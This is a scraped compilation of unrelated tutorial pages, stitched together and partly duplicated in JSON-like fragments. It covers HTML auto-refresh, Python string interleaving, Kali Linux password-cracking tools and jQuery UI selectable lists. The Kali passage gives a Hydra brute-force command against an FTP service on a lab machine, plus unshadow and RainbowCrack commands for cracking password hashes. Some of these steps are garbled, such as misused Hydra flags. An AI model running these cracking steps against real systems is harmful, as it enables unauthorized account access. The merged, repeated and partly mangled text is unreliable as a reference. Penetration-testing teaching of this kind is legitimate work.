HTML using display property How to set the default value for an HTML <select> element ? How to set input type date in dd-mm-yyyy format using HTML ? Types of CSS (Cascading Style Sheet)
[ { "code": null, "e": 28, "s": 0, "text": "\n21 Dec, 2020" }, { "code": null, "e": 256, "s": 28, "text": "Suppose we have given an HTML document and the task is to automatically refresh the webpage after a certain period of time in the web browser. We will predefine a time period and the browser automatically refreshes the webpage." }, { "code": null, "e": 645, "s": 256, "text": "Example: You are creating an auto refreshing website that needs to be refreshed after a certain smaller period of time. So, in this case, you can use the meta http-equiv tag to refresh the webpage. Another illustration of this http-equiv tag is that it can be used to reload a weather website that needs to be updated after every small interval of time to show the minute weather changes." }, { "code": null, "e": 916, "s": 645, "text": "Approach 1: One can auto refresh the webpage using the meta tag within the head element of your HTML using the http-equiv property. It is an inbuilt property with HTML 5. One can further add the time period of the refresh using the content attribute within the Meta tag." }, { "code": null, "e": 1124, "s": 916, "text": "The HTTP equiv attribute can be used to simulate an HTTP response header. The attribute is supported by all major web browsers such as Google Chrome, Mozilla Firefox, Microsoft Edge, Safari, Opera Mini, etc." }, { "code": null, "e": 1132, "s": 1124, "text": "Syntax:" }, { "code": null, "e": 1173, "s": 1132, "text": "<meta http-equiv=\"refresh\" content=\"10\">" }, { "code": null, "e": 1182, "s": 1173, "text": "Example:" }, { "code": "<!DOCTYPE html><html> <head> <title>Page Title</title> <meta http-equiv=\"refresh\" content=\"10\"></head> <body> <h2>Welcome To GFG</h2> <p>The code will reload after 10s.</p></body> </html>", "e": 1385, "s": 1182, "text": null }, { "code": null, "e": 1393, "s": 1385, "text": "Output:" }, { "code": null, "e": 1627, "s": 1393, "text": "Approach 2: Using setInterval() method: Another method to access the auto refresh property of webpage is by using the following JavaScript code until ClearInterval() is called, setInterval() will continue to call itself continuously." }, { "code": null, "e": 1635, "s": 1627, "text": "Syntax:" }, { "code": null, "e": 1777, "s": 1635, "text": "<script>\n function autoRefresh() {\n window.location = window.location.href;\n }\n setInterval('autoRefresh()', 5000);\n</script>" }, { "code": null, "e": 1786, "s": 1777, "text": "Example:" }, { "code": "<!DOCTYPE html><html> <head> <title> Reloading page after 5 seconds </title> <script> function autoRefresh() { window.location = window.location.href; } setInterval('autoRefresh()', 2000); </script></head> <body> <h1>Welcome to GeeksforGeeks code</h1></body> </html>", "e": 2116, "s": 1786, "text": null }, { "code": null, "e": 2124, "s": 2116, "text": "Output:" }, { "code": null, "e": 2133, "s": 2124, "text": "CSS-Misc" }, { "code": null, "e": 2143, "s": 2133, "text": "HTML-Misc" }, { "code": null, "e": 2159, "s": 2143, "text": "JavaScript-Misc" }, { "code": null, "e": 2163, "s": 2159, "text": "CSS" }, { "code": null, "e": 2168, "s": 2163, "text": "HTML" }, { "code": null, "e": 2179, "s": 2168, "text": "JavaScript" }, { "code": null, "e": 2196, "s": 2179, "text": "Web Technologies" }, { "code": null, "e": 2223, "s": 2196, "text": "Web technologies Questions" }, { "code": null, "e": 2228, "s": 2223, "text": "HTML" }, { "code": null, "e": 2326, "s": 2228, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2363, "s": 2326, "text": "Types of CSS (Cascading Style Sheet)" }, { "code": null, "e": 2402, "s": 2363, "text": "Design a Tribute Page using HTML & CSS" }, { "code": null, "e": 2441, "s": 2402, "text": "How to set space between the flexbox ?" }, { "code": null, "e": 2505, "s": 2441, "text": "How to position a div at the bottom of its container using CSS?" }, { "code": null, "e": 2566, "s": 2505, "text": "How to Upload Image into Database and Display it using PHP ?" }, { "code": null, "e": 2590, "s": 2566, "text": "REST API (Introduction)" }, { "code": null, "e": 2643, "s": 2590, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 2703, "s": 2643, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 2764, "s": 2703, "text": "How to set input type date in dd-mm-yyyy format using HTML ?" } ]
Python | Interleaving two strings
07 Jun, 2019 Sometimes, while working with strings, we have the task of combining two strings, i.e interleaving them according to utility. This type of utility is mostly useful while writing codes for games. Let’s discuss certain ways in which this can be performed. Method #1 : Using join() + zip()This task can be performed using the above functions. In this join function performs the task of joining of each element pair two strings at an index and zip performs the task of interleaving character at each string. # Python3 code to demonstrate# Interleaving two strings# using join() + zip() # initializing strings test_string1 = 'geeksforgeeks'test_string2 = 'computerfreak' # printing original strings print("The original string 1 : " + test_string1)print("The original string 2 : " + test_string2) # using join() + zip()# Interleaving two stringsres = "".join(i + j for i, j in zip(test_string1, test_string2)) # print resultprint("The Interleaved string : " + str(res)) The original string 1 : geeksforgeeks The original string 2 : computerfreak The Interleaved string : gceoemkpsuftoerrgfereekask Method #2 : Using zip() + join() + chain.from_iterable()This task can also be performed using the chain.from_iterable function. The major advantage to use this particular function is that it offers more speed than the above method, about 3 times faster than above method as it converts the string to iterable. # Python3 code to demonstrate# Interleaving two strings# using join() + zip() + chain.from_iterable()from itertools import chain # initializing strings test_string1 = 'geeksforgeeks'test_string2 = 'computerfreak' # printing original strings print("The original string 1 : " + test_string1)print("The original string 2 : " + test_string2) # using join() + zip() + chain.from_iterable()# Interleaving two stringsres = "".join(list(chain.from_iterable(zip(test_string1, test_string2)))) # print resultprint("The Interleaved string : " + str(res)) The original string 1 : geeksforgeeks The original string 2 : computerfreak The Interleaved string : gceoemkpsuftoerrgfereekask Python string-programs Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python Read a file line by line in Python How to Install PIP on Windows ? Python program to convert a list to string Defaultdict in Python Python | Get dictionary keys as a list Python | Convert a list to dictionary Python Program for Fibonacci numbers
[ { "code": null, "e": 28, "s": 0, "text": "\n07 Jun, 2019" }, { "code": null, "e": 282, "s": 28, "text": "Sometimes, while working with strings, we have the task of combining two strings, i.e interleaving them according to utility. This type of utility is mostly useful while writing codes for games. Let’s discuss certain ways in which this can be performed." }, { "code": null, "e": 532, "s": 282, "text": "Method #1 : Using join() + zip()This task can be performed using the above functions. In this join function performs the task of joining of each element pair two strings at an index and zip performs the task of interleaving character at each string." }, { "code": "# Python3 code to demonstrate# Interleaving two strings# using join() + zip() # initializing strings test_string1 = 'geeksforgeeks'test_string2 = 'computerfreak' # printing original strings print(\"The original string 1 : \" + test_string1)print(\"The original string 2 : \" + test_string2) # using join() + zip()# Interleaving two stringsres = \"\".join(i + j for i, j in zip(test_string1, test_string2)) # print resultprint(\"The Interleaved string : \" + str(res))", "e": 1001, "s": 532, "text": null }, { "code": null, "e": 1132, "s": 1001, "text": " \nThe original string 1 : geeksforgeeks\nThe original string 2 : computerfreak\nThe Interleaved string : gceoemkpsuftoerrgfereekask\n" }, { "code": null, "e": 1444, "s": 1134, "text": "Method #2 : Using zip() + join() + chain.from_iterable()This task can also be performed using the chain.from_iterable function. The major advantage to use this particular function is that it offers more speed than the above method, about 3 times faster than above method as it converts the string to iterable." }, { "code": "# Python3 code to demonstrate# Interleaving two strings# using join() + zip() + chain.from_iterable()from itertools import chain # initializing strings test_string1 = 'geeksforgeeks'test_string2 = 'computerfreak' # printing original strings print(\"The original string 1 : \" + test_string1)print(\"The original string 2 : \" + test_string2) # using join() + zip() + chain.from_iterable()# Interleaving two stringsres = \"\".join(list(chain.from_iterable(zip(test_string1, test_string2)))) # print resultprint(\"The Interleaved string : \" + str(res))", "e": 1997, "s": 1444, "text": null }, { "code": null, "e": 2128, "s": 1997, "text": " \nThe original string 1 : geeksforgeeks\nThe original string 2 : computerfreak\nThe Interleaved string : gceoemkpsuftoerrgfereekask\n" }, { "code": null, "e": 2151, "s": 2128, "text": "Python string-programs" }, { "code": null, "e": 2158, "s": 2151, "text": "Python" }, { "code": null, "e": 2174, "s": 2158, "text": "Python Programs" }, { "code": null, "e": 2272, "s": 2174, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2290, "s": 2272, "text": "Python Dictionary" }, { "code": null, "e": 2332, "s": 2290, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 2354, "s": 2332, "text": "Enumerate() in Python" }, { "code": null, "e": 2389, "s": 2354, "text": "Read a file line by line in Python" }, { "code": null, "e": 2421, "s": 2389, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2464, "s": 2421, "text": "Python program to convert a list to string" }, { "code": null, "e": 2486, "s": 2464, "text": "Defaultdict in Python" }, { "code": null, "e": 2525, "s": 2486, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 2563, "s": 2525, "text": "Python | Convert a list to dictionary" } ]
Kali Linux - Password Cracking Tools
In this chapter, we will learn about the important password cracking tools used in Kali Linux. Hydra is a login cracker that supports many protocols to attack ( Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP). To open it, go to Applications → Password Attacks → Online Attacks → hydra. It will open the terminal console, as shown in the following screenshot. In this case, we will brute force FTP service of metasploitable machine, which has IP 192.168.1.101 We have created in Kali a word list with extension ‘lst’ in the path usr\share\wordlist\metasploit. The command will be as follows − hydra -l /usr/share/wordlists/metasploit/user -P /usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 –V where –V is the username and password while trying As shown in the following screenshot, the username and password are found which are msfadmin:msfadmin Johnny is a GUI for the John the Ripper password cracking tool. Generally, it is used for weak passwords. To open it, go to Applications → Password Attacks → johnny. In this case, we will get the password of Kali machine with the following command and a file will be created on the desktop. Click “Open Passwd File” → OK and all the files will be shown as in the following screenshot. Click “Start Attack”. After the attack is complete, click the left panel at “Passwords” and the password will be unshaded. john is a command line version of Johnny GUI. To start it, open the Terminal and type “john”. In case of unshadowing the password, we need to write the following command − root@kali:~# unshadow passwd shadow > unshadowed.txt The RainbowCrack software cracks hashes by rainbow table lookup. Rainbow tables are ordinary files stored on the hard disk. Generally, Rainbow tables are bought online or can be compiled with different tools. To open it, go to Applications → Password Attacks → click “rainbowcrack”. The command to crack a hash password is − rcrack path_to_rainbow_tables -f path_to_password_hash It is a dictionary attack tool for SQL server and is very easy and basic to be used. To open it, open the terminal and type “sqldict”. It will open the following view. Under “Target IP Server”, enter the IP of the server holding the SQL. Under “Target Account”, enter the username. Then load the file with the password and click “start” until it finishes. It is a tool that is used to identify types of hashes, meaning what they are being used for. For example, if I have a HASH, it can tell me if it is a Linux or windows HASH. The above screen shows that it can be a MD5 hash and it seems a Domain cached credential.
[ { "code": null, "e": 2258, "s": 2163, "text": "In this chapter, we will learn about the important password cracking tools used in Kali Linux." }, { "code": null, "e": 2727, "s": 2258, "text": "Hydra is a login cracker that supports many protocols to attack ( Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP)." }, { "code": null, "e": 2803, "s": 2727, "text": "To open it, go to Applications → Password Attacks → Online Attacks → hydra." }, { "code": null, "e": 2876, "s": 2803, "text": "It will open the terminal console, as shown in the following screenshot." }, { "code": null, "e": 2976, "s": 2876, "text": "In this case, we will brute force FTP service of metasploitable machine, which has IP 192.168.1.101" }, { "code": null, "e": 3076, "s": 2976, "text": "We have created in Kali a word list with extension ‘lst’ in the path usr\\share\\wordlist\\metasploit." }, { "code": null, "e": 3109, "s": 3076, "text": "The command will be as follows −" }, { "code": null, "e": 3227, "s": 3109, "text": "hydra -l /usr/share/wordlists/metasploit/user -P \n/usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 –V \n" }, { "code": null, "e": 3278, "s": 3227, "text": "where –V is the username and password while trying" }, { "code": null, "e": 3380, "s": 3278, "text": "As shown in the following screenshot, the username and password are found which are msfadmin:msfadmin" }, { "code": null, "e": 3486, "s": 3380, "text": "Johnny is a GUI for the John the Ripper password cracking tool. Generally, it is used for weak passwords." }, { "code": null, "e": 3546, "s": 3486, "text": "To open it, go to Applications → Password Attacks → johnny." }, { "code": null, "e": 3671, "s": 3546, "text": "In this case, we will get the password of Kali machine with the following command and a file will be created on the desktop." }, { "code": null, "e": 3765, "s": 3671, "text": "Click “Open Passwd File” → OK and all the files will be shown as in the following screenshot." }, { "code": null, "e": 3787, "s": 3765, "text": "Click “Start Attack”." }, { "code": null, "e": 3888, "s": 3787, "text": "After the attack is complete, click the left panel at “Passwords” and the password will be unshaded." }, { "code": null, "e": 3982, "s": 3888, "text": "john is a command line version of Johnny GUI. To start it, open the Terminal and type “john”." }, { "code": null, "e": 4060, "s": 3982, "text": "In case of unshadowing the password, we need to write the following command −" }, { "code": null, "e": 4115, "s": 4060, "text": "root@kali:~# unshadow passwd shadow > unshadowed.txt \n" }, { "code": null, "e": 4324, "s": 4115, "text": "The RainbowCrack software cracks hashes by rainbow table lookup. Rainbow tables are ordinary files stored on the hard disk. Generally, Rainbow tables are bought online or can be compiled with different tools." }, { "code": null, "e": 4398, "s": 4324, "text": "To open it, go to Applications → Password Attacks → click “rainbowcrack”." }, { "code": null, "e": 4440, "s": 4398, "text": "The command to crack a hash password is −" }, { "code": null, "e": 4497, "s": 4440, "text": "rcrack path_to_rainbow_tables -f path_to_password_hash \n" }, { "code": null, "e": 4665, "s": 4497, "text": "It is a dictionary attack tool for SQL server and is very easy and basic to be used. To open it, open the terminal and type “sqldict”. It will open the following view." }, { "code": null, "e": 4853, "s": 4665, "text": "Under “Target IP Server”, enter the IP of the server holding the SQL. Under “Target Account”, enter the username. Then load the file with the password and click “start” until it finishes." }, { "code": null, "e": 5026, "s": 4853, "text": "It is a tool that is used to identify types of hashes, meaning what they are being used for. For example, if I have a HASH, it can tell me if it is a Linux or windows HASH." } ]
JqueryUI - Selectable
jQueryUI provides selectable() method to select DOM element individually or in a group. With this method elements can be selected by dragging a box (sometimes called a lasso) with the mouse over the elements. Also, elements can be selected by clicking or dragging while holding the Ctrl/Meta key, allowing for multiple (non-contiguous) selections. The selectable() method can be used in two forms − $(selector, context).selectable (options) Method $(selector, context).selectable (options) Method $(selector, context).selectable ("action", params) Method $(selector, context).selectable ("action", params) Method The selectable (options) method declares that an HTML element contains selectable items. The options parameter is an object that specifies the behavior of the elements involved when selecting. $(selector, context).selectable (options); You can provide one or more options at a time using Javascript object. If there are more than one options to be provided, then you will separate them using a comma as follows − $(selector, context).selectable({option1: value1, option2: value2..... }); The following table lists the different options that can be used with this method − This option is tells which element the selection helper (the lasso) should be appended to. By default its value is body. Option - appendTo This option is tells which element the selection helper (the lasso) should be appended to. By default its value is body. Syntax $( ".selector" ).selectable({ appendTo: "#identifier" }); This option if set to true, the position and size of each selectable item is computed at the beginning of a select operation. By default its value is true. Option - autoRefresh This option if set to true, the position and size of each selectable item is computed at the beginning of a select operation. By default its value is true. If you have many items, you may want to set this to false and call the refresh() method manually. Syntax $( ".selector" ).selectable({ autoRefresh: false }); This option forbids selecting if you start selection of elements. By default its value is input,textarea,button,select,option. Option - cancel This option forbids selecting if you start selection of elements. By default its value is input,textarea,button,select,option. Syntax $( ".selector" ).selectable({ cancel: "a,.cancel" }); This option is used to set time in milliseconds and defines when the selecting should start. This can be used to prevent unwanted selections. By default its value is 0. Option - delay This option is used to set time in milliseconds and defines when the selecting should start. This can be used to prevent unwanted selections. By default its value is 0. Syntax $( ".selector" ).selectable({ delay: 150 }); This option when set to true, disables the selection mechanism. Users cannot select the elements until the mechanism is restored using the selectable ("enable") instruction. By default its value is false. Option - disabled This option when set to true, disables the selection mechanism. Users cannot select the elements until the mechanism is restored using the selectable ("enable") instruction. By default its value is false. Syntax $( ".selector" ).selectable({ disabled: true }); This option is the distance (in pixels) the mouse must move to consider the selection in progress. This is useful, for example, to prevent simple clicks from being interpreted as a group selection. By default its value is 0. Option - distance This option is the distance (in pixels) the mouse must move to consider the selection in progress. This is useful, for example, to prevent simple clicks from being interpreted as a group selection. By default its value is 0. Syntax $( ".selector" ).selectable({ distance: 30 }); This option is a selector indicating which elements can be part of the selection. By default its value is *. Option - filter This option is a selector indicating which elements can be part of the selection. By default its value is *. Syntax $( ".selector" ).selectable({ filter: "li" }); This option specifies which mode to use for testing whether the selection helper (the lasso) should select an item. By default its value is touch. Option - tolerance This option specifies which mode to use for testing whether the selection helper (the lasso) should select an item. By default its value is touch. This can be of type − fit − This type indicates a drag selection must completely encompass an element for it to be selected. fit − This type indicates a drag selection must completely encompass an element for it to be selected. touch − This type indicates the drag rectangle only needs to intersect any portion of the selectable item. touch − This type indicates the drag rectangle only needs to intersect any portion of the selectable item. Syntax $( ".selector" ).selectable({ tolerance: "fit" }); The following section will show you a few working examples of selectable functionality. The following example demonstrates a simple example of selectable functionality, passing no parameters to the selectable() method. <!doctype html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>jQuery UI selectable-1</title> <link href = "https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css" rel = "stylesheet"> <script src = "https://code.jquery.com/jquery-1.10.2.js"></script> <script src = "https://code.jquery.com/ui/1.10.4/jquery-ui.js"></script> <style> #selectable-1 .ui-selecting { background: #707070 ; } #selectable-1 .ui-selected { background: #EEEEEE; color: #000000; } #selectable-1 { list-style-type: none; margin: 0; padding: 0; width: 20%; } #selectable-1 li { margin: 3px; padding: 0.4em; font-size: 16px; height: 18px; } .ui-widget-content { background: #cedc98; border: 1px solid #DDDDDD; color: #333333; } </style> <script> $(function() { $( "#selectable-1" ).selectable(); }); </script> </head> <body> <ol id = "selectable-1"> <li class = "ui-widget-content">Product 1</li> <li class = "ui-widget-content">Product 2</li> <li class = "ui-widget-content">Product 3</li> <li class = "ui-widget-content">Product 4</li> <li class = "ui-widget-content">Product 5</li> <li class = "ui-widget-content">Product 6</li> <li class = "ui-widget-content">Product 7</li> </ol> </body> </html> Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output. Now, you can play with the result − Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Try to click on products, use CTRLS key to select multiple products. The following example demonstrates the usage of two options delay and distance in the selectable function of JqueryUI. <!doctype html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>jQuery UI Selectable</title> <link href = "https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css" rel = "stylesheet"> <script src = "https://code.jquery.com/jquery-1.10.2.js"></script> <script src = "https://code.jquery.com/ui/1.10.4/jquery-ui.js"></script> <style> #selectable-2 .ui-selecting,#selectable-3 .ui-selecting { background: #707070 ; } #selectable-2 .ui-selected,#selectable-3 .ui-selected { background: #EEEEEE; color: #000000; } #selectable-2,#selectable-3 { list-style-type: none; margin: 0; padding: 0; width: 20%; } #selectable-2 li,#selectable-3 li { margin: 3px; padding: 0.4em; font-size: 16px; height: 18px; } .ui-widget-content { background: #cedc98; border: 1px solid #DDDDDD; color: #333333; } </style> <script> $(function() { $( "#selectable-2" ).selectable({ delay : 1000 }); $( "#selectable-3" ).selectable({ distance : 100 }); }); </script> </head> <body> <h3>Starts after delay of 1000ms</h3> <ol id = "selectable-2"> <li class = "ui-widget-content">Product 1</li> <li class = "ui-widget-content">Product 2</li> <li class = "ui-widget-content">Product 3</li> </ol> <h3>Starts after mouse moves distance of 100px</h3> <ol id = "selectable-3"> <li class = "ui-widget-content">Product 4</li> <li class = "ui-widget-content">Product 5</li> <li class = "ui-widget-content">Product 6</li> <li class = "ui-widget-content">Product 7</li> </ol> </body> </html> Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output. Now, you can play with the result − Product 1 Product 2 Product 3 Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Product 4 Product 5 Product 6 Product 7 Try to click on products, use CTRL key to select multiple products. You will notice that selection of the Product 1, Product 2 and Product 3 start after a delay of 1000ms. Selection of the Product 4, Product 5, Product 6 and Product 7 can't be done individually. The selection starts only after the mouse moves a distance of 100px. The following example demonstrates the usage of two options delay and distance in the selectable function of JqueryUI. <!doctype html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>jQuery UI selectable-4</title> <link href = "https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css" rel = "stylesheet"> <script src = "https://code.jquery.com/jquery-1.10.2.js"></script> <script src = "https://code.jquery.com/ui/1.10.4/jquery-ui.js"></script> <style> #selectable-4 .ui-selecting { background: #707070 ; } #selectable-4 .ui-selected { background: #EEEEEE; color: #000000; } #selectable-4 { list-style-type: none; margin: 0; padding: 0; width: 20%; } #selectable-4 li { margin: 3px; padding: 0.4em; font-size: 16px; height: 18px; } .ui-widget-content { background: #cedc98; border: 1px solid #DDDDDD; color: #333333; } </style> <script> $(function() { $( "#selectable-4" ).selectable({ filter : "li:first-child" }); }); </script> </head> <body> <ol id = "selectable-4"> <li class = "ui-widget-content">Product 1</li> <li class = "ui-widget-content">Product 2</li> <li class = "ui-widget-content">Product 3</li> <li class = "ui-widget-content">Product 4</li> <li class = "ui-widget-content">Product 5</li> <li class = "ui-widget-content">Product 6</li> <li class = "ui-widget-content">Product 7</li> </ol> </body> </html> Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output. Now, you can play with the result − Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Try to click on products. You will notice that only first product can be selected. The selectable ("action", params) method can perform an action on selectable elements, such as preventing selectable functionality. The action is specified as a string in the first argument (e.g., "disable" to stop the selection). Check out the actions that can be passed, in the following table. $(selector, context).selectable ("action", params);; The following table lists the different actions that can be used with this method − This action removes the selectable functionality of an element completely. The elements return to their pre-init state. Action - destroy This action removes the selectable functionality of an element completely. The elements return to their pre-init state. Syntax $( ".selector" ).selectable("destroy"); This action deactivates the selectable functionality of an element. This method does not accept any arguments. Action - disable This action removes the selectable functionality of an element completely. The elements return to their pre-init state. Syntax $( ".selector" ).selectable("disable"); This action enables the selectable functionality of an element. This method does not accept any arguments. Action - enable This action enables the selectable functionality of an element. This method does not accept any arguments. Syntax $( ".selector" ).selectable("enable"); This action gets the value currently associated with the specified optionName. Action - option( optionName ) This action gets the value currently associated with the specified optionName. Syntax var isDisabled = $( ".selector" ).selectable( "option", "disabled" ); This action gets an object containing key/value pairs representing the current selectable options hash. Action - option() This action gets an object containing key/value pairs representing the current selectable options hash. Syntax var options = $( ".selector" ).selectable( "option" ); This action sets the value of the selectable option associated with the specified optionName. The argument optionName is name of the option to be set and value is the value to be set for the option. Action - option( optionName, value ) This action sets the value of the selectable option associated with the specified optionName. The argument optionName is name of the option to be set and value is the value to be set for the option. Syntax $( ".selector" ).selectable( "option", "disabled", true ); This action is sets one or more options for the selectable. The argument options is a map of option-value pairs to be set. Action - option( options ) This action is sets one or more options for the selectable. The argument options is a map of option-value pairs to be set. Syntax $( ".selector" ).selectable( "option", { disabled: true } ); This action causes the size and position of the selectable elements to be refreshed. Used mostly when the autoRefresh option is disabled (set to false). This method does not accept any arguments. Action - refresh This action causes the size and position of the selectable elements to be refreshed. Used mostly when the autoRefresh option is disabled. This method does not accept any arguments. Syntax $( ".selector" ).selectable("refresh"); This action returns a jQuery object containing the selectable element. This method does not accept any arguments. Action - widget This action returns a jQuery object containing the selectable element. This method does not accept any arguments. Syntax var widget = $( ".selector" ).selectable( "widget" ); Now let us see an example using the actions from the above table. The following example demonstrates the use of disable() and option( optionName, value ) methods. <!doctype html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>jQuery UI Selectable</title> <link href = "https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css" rel = "stylesheet"> <script src = "https://code.jquery.com/jquery-1.10.2.js"></script> <script src = "https://code.jquery.com/ui/1.10.4/jquery-ui.js"></script> <style> #selectable-5 .ui-selecting,#selectable-6 .ui-selecting { background: #707070 ; } #selectable-5 .ui-selected,#selectable-6 .ui-selected { background: #EEEEEE; color: #000000; } #selectable-5,#selectable-6 { list-style-type: none; margin: 0; padding: 0; width: 20%; } #selectable-5 li,#selectable-6 li { margin: 3px; padding: 0.4em; font-size: 16px; height: 18px; } .ui-widget-content { background: #cedc98; border: 1px solid #DDDDDD; color: #333333; } </style> <script> $(function() { $( "#selectable-5" ).selectable(); $( "#selectable-5" ).selectable('disable'); $( "#selectable-6" ).selectable(); $( "#selectable-6" ).selectable( "option", "distance", 1 ); }); </script> </head> <body> <h3>Disabled using disable() method</h3> <ol id = "selectable-5"> <li class = "ui-widget-content">Product 1</li> <li class = "ui-widget-content">Product 2</li> <li class = "ui-widget-content">Product 3</li> </ol> <h3>Select using method option( optionName, value )</h3> <ol id = "selectable-6"> <li class = "ui-widget-content">Product 4</li> <li class = "ui-widget-content">Product 5</li> <li class = "ui-widget-content">Product 6</li> <li class = "ui-widget-content">Product 7</li> </ol> </body> </html> Let us save the above code in an HTML file selectableexample.htm and open it in a standard browser which supports javascript, you should see the following output − Product 1 Product 2 Product 3 Product 1 Product 2 Product 3 Product 4 Product 5 Product 6 Product 7 Product 4 Product 5 Product 6 Product 7 Try to click on products, use CTRL key to select multiple products. You will notice that Product 1, Product 2, and Product 3 are disabled. Selection of Product 4, Product 5, Product 6 and Product 7 happens after the mouse moves distance of 1px. In addition to the selectable (options) method which we saw in the previous sections, JqueryUI provides event methods which gets triggered for a particular event. These event methods are listed below − This event is triggered when the selectable element is created. Where event is of type Event, and ui is of type Object. Event - create(event, ui) This event is triggered when the selectable element is created. Where event is of type Event, and ui is of type Object. Syntax $( ".selector" ).selectable({ create: function( event, ui ) {} }); This event is triggered for each element that becomes selected. Where event is of type Event, and ui is of type Object. Event - selected(event, ui) This event is triggered for each element that becomes selected. Where event is of type Event, and ui is of type Object. Possible values of ui are − selected − This specifies the selectable item that has been selected.. selected − This specifies the selectable item that has been selected.. Syntax $( ".selector" ).selectable({ selected: function( event, ui ) {} }); This event is triggered for each selectable element that’s about to get selected. Where event is of type Event, and ui is of type Object. Event - selecting(event, ui) This event is triggered for each selectable element that’s about to get selected. Where event is of type Event, and ui is of type Object. Possible values of ui are − selecting − This specifies a reference to the element that’s about to become selected. selecting − This specifies a reference to the element that’s about to become selected. Syntax $( ".selector" ).selectable({ selecting: function( event, ui ) {} }); This event is triggered at the beginning of the select operation. Where event is of type Event, and ui is of type Object. Event - start(event, ui) This event is triggered at the beginning of the select operation. Where event is of type Event, and ui is of type Object. Syntax $( ".selector" ).selectable({ start: function( event, ui ) {} }); This event is triggered at the end of the select operation. Where event is of type Event, and ui is of type Object. Event - stop(event, ui) This event is triggered at the end of the select operation. Where event is of type Event, and ui is of type Object. Syntax $( ".selector" ).selectable({ stop: function( event, ui ) {} }); This event is triggered at the end of the select operation for each element that becomes unselected. Where event is of type Event, and ui is of type Object. Event - unselected(event, ui) This event is triggered at the end of the select operation for each element that becomes unselected. Where event is of type Event, and ui is of type Object. Possible values of ui are − unselected − An element that contains a reference to the element that has become unselected. unselected − An element that contains a reference to the element that has become unselected. Syntax $( ".selector" ).selectable({ unselected: function( event, ui ) {} }); This event is triggered during select operation for each selected element that’s about to become unselected. Where event is of type Event, and ui is of type Object. Event - unselecting(event, ui) This event is triggered during select operation for each selected element that’s about to become unselected. Where event is of type Event, and ui is of type Object. Possible values of ui are − unselecting − An element that contains a reference to the element that’s about to become unselected. unselecting − An element that contains a reference to the element that’s about to become unselected. Syntax $( ".selector" ).selectable({ unselecting: function( event, ui ) {} }); The following example demonstrates the event method usage during selectable functionality. This example demonstrates the use of event selected. <!doctype html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>jQuery UI selectable-7</title> <link href = "https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css" rel = "stylesheet"> <script src = "https://code.jquery.com/jquery-1.10.2.js"></script> <script src = "https://code.jquery.com/ui/1.10.4/jquery-ui.js"></script> <style> #selectable-7 .ui-selecting { background: #707070 ; } #selectable-7 .ui-selected { background: #EEEEEE; color: #000000; } #selectable-7 { list-style-type: none; margin: 0; padding: 0; width: 20%; } #selectable-7 li { margin: 3px; padding: 0.4em; font-size: 16px; height: 18px; } .ui-widget-content { background: #cedc98; border: 1px solid #DDDDDD; color: #333333; } .resultarea { background: #cedc98; border-top: 1px solid #000000; border-bottom: 1px solid #000000; color: #333333; font-size:14px; } </style> <script> $(function() { $( "#selectable-7" ).selectable({ selected: function() { var result = $( "#result" ).empty(); $( ".ui-selected", this ).each(function() { var index = $( "#selectable-7 li" ).index( this ); result.append( " #" + ( index + 1 ) ); }); } }); }); </script> </head> <body> <h3>Events</h3> <ol id = "selectable-7"> <li class = "ui-widget-content">Product 1</li> <li class = "ui-widget-content">Product 2</li> <li class = "ui-widget-content">Product 3</li> <li class = "ui-widget-content">Product 4</li> <li class = "ui-widget-content">Product 5</li> <li class = "ui-widget-content">Product 6</li> <li class = "ui-widget-content">Product 7</li> </ol> <span class = "resultarea">Selected Product</span>> <span id = result class = "resultarea"></span> </body> </html> Let us save the above code in an HTML file selectableexample.htm and open 